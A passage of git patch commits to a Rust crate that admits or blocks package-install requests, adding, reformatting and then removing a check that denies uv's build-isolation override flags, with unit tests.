intent.argv.first().map(String::as_str) else { + return false; + }; + let arguments = &intent.argv[1..]; + + executable == "uv" + && arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + && arguments.iter().skip(2).any(|argument| { + argument == "--no-build-isolation" + || argument == "--no-build-isolation-package" + || argument.starts_with("--no-build-isolation-package=") + }) +} + +/// Return whether `arguments[index]` is the separate-token package value +/// consumed by uv's package-scoped build-isolation override. The override +/// remains denied; this helper only keeps its selector value from being +/// misclassified as a second requested install artifact. +pub(crate) fn is_uv_build_isolation_package_selector_value( + executable: &str, + arguments: &[String], + index: usize, +) -> bool { + if executable != "uv" + || !arguments.first().is_some_and(|argument| argument == "pip") + || !arguments + .get(1) + .is_some_and(|argument| argument == "install") + { + return false; + } + + index + .checked_sub(1) + .and_then(|previous| arguments.get(previous)) + .is_some_and(|argument| argument == "--no-build-isolation-package") +} + +#[cfg(test)] +mod tests { + use super::is_uv_build_isolation_package_selector_value; + + #[test] + fn separate_package_selector_value_is_consumed_only_for_exact_uv_option() { + let arguments = vec![ + "pip".to_string(), + "install".to_string(), + "--no-build-isolation-package".to_string(), + "cwl-example".to_string(), + ]; + + assert!(is_uv_build_isolation_package_selector_value( + "uv", &arguments, 3 + )); + assert!(!is_uv_build_isolation_package_selector_value( + "pip", &arguments, 3 + )); + + let lookalike = vec![ + "pip".to_string(), + "install".to_string(), + "--no-build-isolation-packag".to_string(), + "cwl-example".to_string(), + ]; + assert!(!is_uv_build_isolation_package_selector_value( + "uv", &lookalike, 3 + )); + } +} From 1bd12cd81581172a4d6c7d6608c3cabfe8ab8c85 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:06:42 +0900 Subject: [PATCH 546/702] fix(security): normalize uv build isolation selector --- .../src/uv_build_isolation_authority.rs | 112 ++++++++++++------ 1 file changed, 73 insertions(+), 39 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs index b5580e73..6e323ab3 100644 --- a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs @@ -1,5 +1,43 @@ use crate::InstallIntent; +/// Return a policy-evaluation view in which uv's package-scoped build-isolation +/// selector value cannot masquerade as a second requested install artifact. +/// The submitted argv is preserved separately for the final decision and audit +/// digest; this normalization does not authorize the denied override. +pub(crate) fn normalize_uv_build_isolation_package_selector( + intent: &InstallIntent, +) -> Option { + let arguments = &intent.argv; + if arguments.first().map(String::as_str) != Some("uv") + || arguments.get(1).map(String::as_str) != Some("pip") + || arguments.get(2).map(String::as_str) != Some("install") + { + return None; + } + + let mut changed = false; + let mut normalized = intent.clone(); + normalized.argv = arguments + .iter() + .enumerate() + .filter_map(|(index, argument)| { + let is_consumed_selector_value = index > 3 + && arguments + .get(index - 1) + .is_some_and(|previous| previous == "--no-build-isolation-package") + && !argument.starts_with('-'); + if is_consumed_selector_value { + changed = true; + None + } else { + Some(argument.clone()) + } + }) + .collect(); + + changed.then_some(normalized) +} + /// Return whether a supported `uv pip install` invocation asks to disable the /// reviewed PEP 517 build-isolation boundary. pub(crate) fn requests_unapproved_uv_build_isolation_override(intent: &InstallIntent) -> bool { @@ -20,58 +58,54 @@ pub(crate) fn requests_unapproved_uv_build_isolation_override(intent: &InstallIn }) } -/// Return whether `arguments[index]` is the separate-token package value -/// consumed by uv's package-scoped build-isolation override. The override -/// remains denied; this helper only keeps its selector value from being -/// misclassified as a second requested install artifact. -pub(crate) fn is_uv_build_isolation_package_selector_value( - executable: &str, - arguments: &[String], - index: usize, -) -> bool { - if executable != "uv" - || !arguments.first().is_some_and(|argument| argument == "pip") - || !arguments - .get(1) - .is_some_and(|argument| argument == "install") - { - return false; - } - - index - .checked_sub(1) - .and_then(|previous| arguments.get(previous)) - .is_some_and(|argument| argument == "--no-build-isolation-package") -} - #[cfg(test)] mod tests { - use super::is_uv_build_isolation_package_selector_value; + use super::{ + normalize_uv_build_isolation_package_selector, + requests_unapproved_uv_build_isolation_override, + }; + use crate::InstallIntent; #[test] - fn separate_package_selector_value_is_consumed_only_for_exact_uv_option() { - let arguments = vec![ + fn exact_package_selector_value_is_removed_from_policy_evaluation_view() { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), "pip".to_string(), "install".to_string(), + "cwl-example==1.2.3".to_string(), "--no-build-isolation-package".to_string(), "cwl-example".to_string(), ]; - assert!(is_uv_build_isolation_package_selector_value( - "uv", &arguments, 3 - )); - assert!(!is_uv_build_isolation_package_selector_value( - "pip", &arguments, 3 - )); + let normalized = normalize_uv_build_isolation_package_selector(&intent) + .expect("exact selector must produce a policy-evaluation view"); - let lookalike = vec![ + assert_eq!( + normalized.argv, + vec![ + "uv", + "pip", + "install", + "cwl-example==1.2.3", + "--no-build-isolation-package", + ] + ); + assert!(requests_unapproved_uv_build_isolation_override(&intent)); + } + + #[test] + fn uv_long_option_lookalike_is_not_classified_as_build_isolation_authority() { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), "pip".to_string(), "install".to_string(), - "--no-build-isolation-packag".to_string(), - "cwl-example".to_string(), + "cwl-example==1.2.3".to_string(), + "--no-build-isolatio".to_string(), ]; - assert!(!is_uv_build_isolation_package_selector_value( - "uv", &lookalike, 3 - )); + + assert!(normalize_uv_build_isolation_package_selector(&intent).is_none()); + assert!(!requests_unapproved_uv_build_isolation_override(&intent)); } } From 367d904186ffeca05dfe1e67553effb2c00b45ca Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:07:20 +0900 Subject: [PATCH 547/702] fix(security): bind uv build isolation admission --- crates/agent-artifact-admission/src/lib.rs | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index a7865593..d171e2a9 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,6 +29,7 @@ mod pypi_python_interpreter_authority; mod pypi_registry_authority; mod pypi_requires_python_authority; mod pypi_system_package_authority; +mod uv_build_isolation_authority; mod uv_bytecode_compilation_authority; mod uv_configuration_authority; mod uv_link_mode_authority; @@ -66,6 +67,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A let intent = certificate_store_normalized_intent .as_ref() .unwrap_or(intent); + let build_isolation_normalized_intent = + uv_build_isolation_authority::normalize_uv_build_isolation_package_selector(intent); + let intent = build_isolation_normalized_intent.as_ref().unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { if !decision @@ -289,6 +293,17 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if uv_build_isolation_authority::requests_unapproved_uv_build_isolation_override( + submitted_intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { + decision.reason_codes.push(ReasonCode::MissingSafetyFlag); + } + decision.decision = DecisionKind::Block; + } if uv_link_mode_authority::requests_unapproved_uv_symlink_link_mode(intent) { if !decision .reason_codes From 1900f9b4f4c38b3724183f4029028803190f1282 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:10:38 +0900 Subject: [PATCH 548/702] test(security): type uv normalized argv explicitly --- .../src/uv_build_isolation_authority.rs | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs index 6e323ab3..ec0160e9 100644 --- a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs +++ b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs @@ -84,11 +84,11 @@ mod tests { assert_eq!( normalized.argv, vec![ - "uv", - "pip", - "install", - "cwl-example==1.2.3", - "--no-build-isolation-package", + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--no-build-isolation-package".to_string(), ] ); assert!(requests_unapproved_uv_build_isolation_override(&intent)); From 2bf6866bb85af88c1384eb1f905f1ece7811cec5 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:12:02 +0900 Subject: [PATCH 549/702] refactor(security): retain canonical artifact-variant owner --- crates/agent-artifact-admission/src/lib.rs | 181 ++++----------------- 1 file changed, 36 insertions(+), 145 deletions(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index d171e2a9..a5106a15 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -29,7 +29,6 @@ mod pypi_python_interpreter_authority; mod pypi_registry_authority; mod pypi_requires_python_authority; mod pypi_system_package_authority; -mod uv_build_isolation_authority; mod uv_bytecode_compilation_authority; mod uv_configuration_authority; mod uv_link_mode_authority; @@ -67,275 +66,167 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A let intent = certificate_store_normalized_intent .as_ref() .unwrap_or(intent); - let build_isolation_normalized_intent = - uv_build_isolation_authority::normalize_uv_build_isolation_package_selector(intent); - let intent = build_isolation_normalized_intent.as_ref().unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if artifact_variant::requests_unapproved_artifact_variant(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if dependency_cardinality::misses_exact_dependency_set_guard(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag) - { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } - if pypi_build_directory_retention_authority::requests_unapproved_pypi_build_directory_retention( - intent, - ) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot) - { + if pypi_build_directory_retention_authority::requests_unapproved_pypi_build_directory_retention(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } if pypi_cache_directory_authority::requests_unapproved_pypi_cache_directory_authority(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } - if pypi_certificate_store_authority::requests_unapproved_pypi_certificate_store_abbreviation( - intent, - ) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if pypi_certificate_store_authority::requests_unapproved_pypi_certificate_store_abbreviation(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } - if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority( - intent, - ) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if pypi_constraint_authority::requests_unapproved_pypi_constraint_authority(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_dependency_group_authority::requests_unapproved_pip_dependency_group(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag) - { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if pypi_install_mutation_authority::requests_unapproved_pypi_install_mutation(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_install_report_authority::requests_unapproved_pypi_report_authority(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } - if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation( - intent, - ) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot) - { + if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } - if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) - { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if pypi_log_output_authority::requests_unapproved_pypi_log_output_authority(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } if pypi_noninteractive_authority::misses_required_noninteractive_mode(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag) - { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } - if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority( - intent, - ) || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority( - intent, - ) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateInstallRoot) - { - decision - .reason_codes - .insert(0, ReasonCode::AlternateInstallRoot); + if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority(intent) + || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority(intent) + { + if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { + decision.reason_codes.insert(0, ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } if pypi_registry_authority::disables_reviewed_registry(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if pypi_requires_python_authority::requests_pypi_requires_python_override(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag) - { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if pypi_system_package_authority::requests_pypi_system_package_override(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag) - { - decision.reason_codes.push(ReasonCode::MissingSafetyFlag); - } - decision.decision = DecisionKind::Block; - } - if uv_build_isolation_authority::requests_unapproved_uv_build_isolation_override( - submitted_intent, - ) { - if !decision - .reason_codes - .contains(&ReasonCode::MissingSafetyFlag) - { + if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if uv_link_mode_authority::requests_unapproved_uv_symlink_link_mode(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if uv_bytecode_compilation_authority::requests_unapproved_uv_bytecode_compilation(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::ArtifactNotApproved) - { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if oci_transport::requests_unapproved_oci_transport_trust(intent) { - if !decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot) - { + if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; From 68cd326b73a734d1aa5cfcc5548aa7ba9c78e57c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 03:12:31 +0900 Subject: [PATCH 550/702] refactor(security): reuse canonical build-variant policy --- crates/agent-artifact-admission/src/lib.rs | 166 ++++++++++++++---- .../src/uv_build_isolation_authority.rs | 111 ------------ 2 files changed, 130 insertions(+), 147 deletions(-) delete mode 100644 crates/agent-artifact-admission/src/uv_build_isolation_authority.rs diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index a5106a15..a7865593 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -68,165 +68,259 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A .unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if artifact_variant::requests_unapproved_artifact_variant(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if cargo_install_authority::requests_unapproved_cargo_install_mutation(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if dependency_cardinality::misses_exact_dependency_set_guard(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if dependency_cardinality::npm_family_dependency_closure_is_unverified(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } - if pypi_build_directory_retention_authority::requests_unapproved_pypi_build_directory_retention(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { + if pypi_build_directory_retention_authority::requests_unapproved_pypi_build_directory_retention( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } if pypi_cache_directory_authority::requests_unapproved_pypi_cache_directory_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } - if pypi_certificate_store_authority::requests_unapproved_pypi_certificate_store_abbreviation(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if pypi_certificate_store_authority::requests_unapproved_pypi_certificate_store_abbreviation( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } - if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if pypi_client_certificate_authority::requests_unapproved_pypi_client_certificate_authority( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if pypi_constraint_authority::requests_unapproved_pypi_constraint_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_dependency_group_authority::requests_unapproved_pip_dependency_group(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_hash_mode::requests_disabled_hash_requirement(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if pypi_install_mutation_authority::requests_unapproved_pypi_install_mutation(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if pypi_install_report_authority::requests_unapproved_pypi_report_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } - if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { + if pypi_install_root_abbreviation_authority::requests_unapproved_pypi_target_abbreviation( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } - if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if pypi_keyring_provider_authority::requests_unapproved_pypi_keyring_provider_authority(intent) + { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if pypi_log_output_authority::requests_unapproved_pypi_log_output_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { decision.reason_codes.push(ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } if pypi_noninteractive_authority::misses_required_noninteractive_mode(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if pypi_proxy_authority::requests_unapproved_pypi_proxy_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } - if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority(intent) - || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority(intent) - { - if !decision.reason_codes.contains(&ReasonCode::AlternateInstallRoot) { - decision.reason_codes.insert(0, ReasonCode::AlternateInstallRoot); + if pypi_python_interpreter_authority::requests_unapproved_pypi_python_interpreter_authority( + intent, + ) || pypi_python_interpreter_authority::requests_unapproved_uv_python_provider_authority( + intent, + ) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + { + decision + .reason_codes + .insert(0, ReasonCode::AlternateInstallRoot); } decision.decision = DecisionKind::Block; } if pypi_registry_authority::disables_reviewed_registry(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if pypi_requires_python_authority::requests_pypi_requires_python_override(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if pypi_system_package_authority::requests_pypi_system_package_override(intent) { - if !decision.reason_codes.contains(&ReasonCode::MissingSafetyFlag) { + if !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag) + { decision.reason_codes.push(ReasonCode::MissingSafetyFlag); } decision.decision = DecisionKind::Block; } if uv_link_mode_authority::requests_unapproved_uv_symlink_link_mode(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if uv_bytecode_compilation_authority::requests_unapproved_uv_bytecode_compilation(intent) { - if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + if !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved) + { decision.reason_codes.push(ReasonCode::ArtifactNotApproved); } decision.decision = DecisionKind::Block; } if uv_configuration_authority::requests_unapproved_uv_configuration_authority(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; } if oci_transport::requests_unapproved_oci_transport_trust(intent) { - if !decision.reason_codes.contains(&ReasonCode::AlternateTrustRoot) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { decision.reason_codes.push(ReasonCode::AlternateTrustRoot); } decision.decision = DecisionKind::Block; diff --git a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs b/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs deleted file mode 100644 index ec0160e9..00000000 --- a/crates/agent-artifact-admission/src/uv_build_isolation_authority.rs +++ /dev/null @@ -1,111 +0,0 @@ -use crate::InstallIntent; - -/// Return a policy-evaluation view in which uv's package-scoped build-isolation -/// selector value cannot masquerade as a second requested install artifact. -/// The submitted argv is preserved separately for the final decision and audit -/// digest; this normalization does not authorize the denied override. -pub(crate) fn normalize_uv_build_isolation_package_selector( - intent: &InstallIntent, -) -> Option { - let arguments = &intent.argv; - if arguments.first().map(String::as_str) != Some("uv") - || arguments.get(1).map(String::as_str) != Some("pip") - || arguments.get(2).map(String::as_str) != Some("install") - { - return None; - } - - let mut changed = false; - let mut normalized = intent.clone(); - normalized.argv = arguments - .iter() - .enumerate() - .filter_map(|(index, argument)| { - let is_consumed_selector_value = index > 3 - && arguments - .get(index - 1) - .is_some_and(|previous| previous == 